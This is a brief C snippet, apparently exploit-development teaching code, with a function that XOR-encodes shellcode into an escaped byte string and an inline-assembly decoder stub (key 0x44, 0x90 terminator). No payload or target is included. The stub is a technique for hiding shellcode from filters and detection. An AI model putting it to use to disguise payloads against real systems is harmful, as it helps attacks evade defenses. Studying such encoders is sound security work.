简单的异或加密


void encoder (char* input, unsigned char key, int display_flag)// bool display_flag
{
    int i=0,len=0;
    FILE * fp;
    unsigned char * output;
    len = strlen(input);
    output=(unsigned char *)malloc(len+1);
    if(!output)
    {
        printf("memory erro!\n");
        exit(0);
    }

    //encode the shellcode
    for(i=0;i<len;i++)
    {
        output[i] = input[i]^key;
    }
    if(!(fp=fopen("encode.txt","w+")))
    {
        printf("output file create erro");
        exit(0);
    }
    fprintf(fp,"\"");
    for(i=0;i<len;i++)
    {
        fprintf(fp,"\\x%0.2x", output[i]);
        if((i+1)%16==0)
        {
            fprintf(fp,"\"\n\"");
        }
    }
    fprintf(fp,"\";");
    fclose(fp);
    printf("dump the encoded shellcode to encode.txt OK!\n");
    if(display_flag)//print to screen
    {
        for(i=0;i<len;i++)
        {
            printf("%0.2x ",output[i]);
            if((i+1)%16==0)
            {
                printf("\n");
            }
        }
    }
    free(output);
}

int main()
{
    __asm
    {
        add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址
        xor ecx,ecx

    decode_loop:
        mov bl,[eax+ecx]
        xor bl, 0x44 //这里用 0x44 作为 key,如编码的 key 改变,这里也要相应
        //改变
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
        jne decode_loop
    }
}